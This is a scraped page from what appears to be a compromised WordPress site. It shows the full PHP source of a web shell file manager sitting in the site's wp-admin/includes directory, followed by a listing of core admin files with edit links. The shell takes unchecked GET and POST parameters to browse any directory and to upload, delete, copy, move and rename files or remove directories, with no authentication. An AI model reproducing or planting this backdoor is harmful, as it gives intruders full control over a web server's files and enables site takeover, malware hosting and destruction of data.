PATH:
home
/
shotlining
/
portal.shotlining.com
/
wp-admin
/
includes
<html> <body> <style type="text/css"> body { background: #ffffff; color: #666666; font-family: Verdana; font-size: 11px; } a:link { color: #33CC99; } a:visited { color: #269771; } a:hover { text-decoration: none; Color: #3399FF; } table { font-size: 11px; } </style> <?php error_reporting( 0 ); set_time_limit( 0 ); if ( empty ( $_GET ['dir'] ) ) { $dir = getcwd(); } else { $dir = $_GET ['dir']; } chdir( $dir ); $current = htmlentities( $_SERVER ['PHP_SELF'] . "?dir=" . $dir ); echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>"; echo "Current directory: " . getcwd() . "<br>"; echo "Software: " . $_SERVER ['SERVER_SOFTWARE']; echo "<br>"; echo "<br>"; echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n"; echo "Local file: <input type = 'file' name = 'upload_file'>"; echo "<input type = 'submit' value = 'Upload'>"; echo "</form><br>"; $mode = $_GET ['mode']; switch ( $mode ) { case 'delete': $file = $_GET ['file']; if ( unlink( $file ) ) { echo $file . " deleted successfully.<p>"; } else { echo "Unable to delete " . $file . ".<p>"; } break; case 'copy': $src = $_GET ['src']; $dst = $_POST ['dst']; if ( empty ( $dst ) ) { echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n"; echo "Destination: <input name = 'dst'><br>\n"; echo "<input type = 'submit' value = 'Copy'></form>\n"; } else { if ( copy( $src, $dst ) ) { echo "File copied successfully.<p>\n"; } else { echo "Unable to copy " . $src . ".<p>\n"; } } break; case 'move': $src = $_GET ['src']; $dst = $_POST ['dst']; if ( empty ( $dst ) ) { echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n"; echo "Destination: <input name = 'dst'><br>\n"; echo "<input type = 'submit' value = 'Move'></form>\n"; } else { if ( rename( $src, $dst ) ) { echo "File moved successfully.<p>\n"; } else { echo "Unable to move " . $src . ".<p>\n"; } } break; case 'rename': $old = $_GET ['old']; $new = $_POST ['new']; if ( empty ( $new ) ) { echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n"; echo "New name: <input name = 'new'><br>\n"; echo "<input type = 'submit' value = 'Rename'></form>\n"; } else { if ( rename( $old, $new ) ) { echo "File/Directory renamed successfully.<p>\n"; } else { echo "Unable to rename " . $old . ".<p>\n"; } } break; case 'rmdir': $rm = $_GET ['rm']; if ( rmdir( $rm ) ) { echo "Directory removed successfully.<p>\n"; } else { echo "Unable to remove " . $rm . ".<p>\n"; } break; case 'upload': $temp = $_FILES['upload_file']['tmp_name']; $file = basename( $_FILES['upload_file']['name'] ); if ( ! empty ( $file ) ) { if ( move_uploaded_file( $temp, $file ) ) { echo "File uploaded successfully.<p>\n"; unlink( $temp ); } else { echo "Unable to upload " . $file . ".<p>\n"; } } break; } clearstatcache(); echo "<pre>\n\n</pre>"; echo "<table width = 100%>\n"; $files = scandir( $dir ); foreach ( $files as $file ) { if ( is_dir( $file ) ) { $items = scandir( $file ); $items_num = count( $items ) - 2; echo "<tr><td><a href = " . $current . "/" . $file . ">" . $file . "</a></td>"; echo "<td>" . $items_num . " Items</td>"; echo "<td><a href = " . $current . "&mode=rmdir&rm=" . $file . ">Remove directory</a></td>"; echo "<td>-</td>"; echo "<td>-</td>"; echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename directory</a></td></tr>"; } } foreach ( $files as $file ) { if ( is_file( $file ) ) { $size = round( filesize( $file ) / 1024, 2 ); echo "<tr><td>" . $file . "</td>"; echo "<td>" . $size . " KB</td>"; echo "<td><a href = " . $current . "&mode=delete&file=" . $file . ">Delete</a></td>"; echo "<td><a href = " . $current . "&mode=copy&src=" . $file . ">Copy</a></td>"; echo "<td><a href = " . $current . "&mode=move&src=" . $file . ">Move</a></td>"; echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename</a></td></tr>"; } } echo "</table><br>";
[-] class-walker-nav-menu-checklist.php
[edit]
[-] class-wp-site-health.php
[edit]
[-] menu.php
[edit]
[-] misc.php
[edit]
[-] class-wp-upgrader-skin.php
[edit]
[-] class-wp-ajax-upgrader-skin.php
[edit]
[-] class-wp-users-list-table.php
[edit]
[-] continents-cities.php
[edit]
[-] comment.php
[edit]
[-] list-table.php
[edit]
[-] class-wp-post-comments-list-table.php
[edit]
[-] class-wp-filesystem-direct.php
[edit]
[-] class-wp-filesystem-ssh2.php
[edit]
[-] image-edit.php
[edit]
[-] ms.php
[edit]
[-] class-wp-comments-list-table.php
[edit]
[-] class-plugin-upgrader-skin.php
[edit]
[-] file-reference.php
[edit]
[-] class-wp-terms-list-table.php
[edit]
[-] nav-menu.php
[edit]
[-] network.php
[edit]
[-] media.php
[edit]
[-] class-wp-plugin-install-list-table.php
[edit]
[-] privacy-tools.php
[edit]
[-] class-theme-installer-skin.php
[edit]
[-] options.php
[edit]
[-] class-wp-automatic-updater.php
[edit]
[+]
..
[-] plugin-install.php
[edit]
[-] widgets.php
[edit]
[-] class-wp-upgrader-skins.php
[edit]
[-] class-core-upgrader.php
[edit]
[-] bookmark.php
[edit]
[-] file.php
[edit]
[-] theme-install.php
[edit]
[-] deprecated.php
[edit]
[-] template.php
[edit]
[-] schema.php
[edit]
[-] class-walker-nav-menu-edit.php
[edit]
[-] class-theme-upgrader-skin.php
[edit]
[-] export.php
[edit]
[-] class-wp-theme-install-list-table.php
[edit]
[-] class-wp-plugins-list-table.php
[edit]
[-] class-automatic-upgrader-skin.php
[edit]
[-] screen.php
[edit]
[-] admin-filters.php
[edit]
[-] class-wp-privacy-requests-table.php
[edit]
[-] class-custom-image-header.php
[edit]
[-] credits.php
[edit]
[-] revision.php
[edit]
[-] class-wp-privacy-data-export-requests-list-table.php
[edit]
[-] taxonomy.php
[edit]
[-] user.php
[edit]
[-] dashboard.php
[edit]
[-] class-wp-list-table.php
[edit]
[-] class-walker-category-checklist.php
[edit]
[-] class-wp-list-table-compat.php
[edit]
[-] edit-tag-messages.php
[edit]
[-] class-wp-site-icon.php
[edit]
[-] class-wp-site-health-auto-updates.php
[edit]
[-] class-bulk-theme-upgrader-skin.php
[edit]
[-] ms-admin-filters.php
[edit]
[-] class-ftp-sockets.php
[edit]
[-] class-bulk-upgrader-skin.php
[edit]
[-] class-pclzip.php
[edit]
[-] class-wp-privacy-policy-content.php
[edit]
[-] class-bulk-plugin-upgrader-skin.php
[edit]
[-] class-wp-application-passwords-list-table.php
[edit]
[-] update.php
[edit]
[-] class-wp-internal-pointers.php
[edit]
[-] class-wp-debug-data.php
[edit]
[-] post.php
[edit]
[-] class-wp-ms-users-list-table.php
[edit]
[-] class-wp-themes-list-table.php
[edit]
[-] class-plugin-upgrader.php
[edit]
[-] import.php
[edit]
[-] update-core.php
[edit]
[-] class-wp-media-list-table.php
[edit]
[-] class-wp-upgrader.php
[edit]
[-] class-wp-filesystem-ftpext.php
[edit]
[-] class-wp-links-list-table.php
[edit]
[-] class-wp-ms-sites-list-table.php
[edit]
[-] .htaccess
[edit]
[-] class-wp-ms-themes-list-table.php
[edit]
[-] class-plugin-installer-skin.php
[edit]
[-] class-theme-upgrader.php
[edit]
[-] class-ftp-pure.php
[edit]
[-] class-wp-importer.php
[edit]
[-] class-wp-screen.php
[edit]
[-] class-language-pack-upgrader-skin.php
[edit]
[-] class-file-upload-upgrader.php
[edit]
[-] meta-boxes.php
[edit]
[-] class-language-pack-upgrader.php
[edit]
[-] class-wp-filesystem-base.php
[edit]
[-] noop.php
[edit]
[-] translation-install.php
[edit]
[-] ms-deprecated.php
[edit]
[-] class-ftp.php
[edit]
[-] class-wp-filesystem-ftpsockets.php
[edit]
[-] admin.php
[edit]
[-] class-wp-community-events.php
[edit]
[-] class-wp-privacy-data-removal-requests-list-table.php
[edit]
[-] upgrade.php
[edit]
[-] plugin.php
[edit]
[-] image.php
[edit]
[-] ajax-actions.php
[edit]
[-] class-custom-background.php
[edit]
[-] class-wp-posts-list-table.php
[edit]
[-] theme.php
[edit]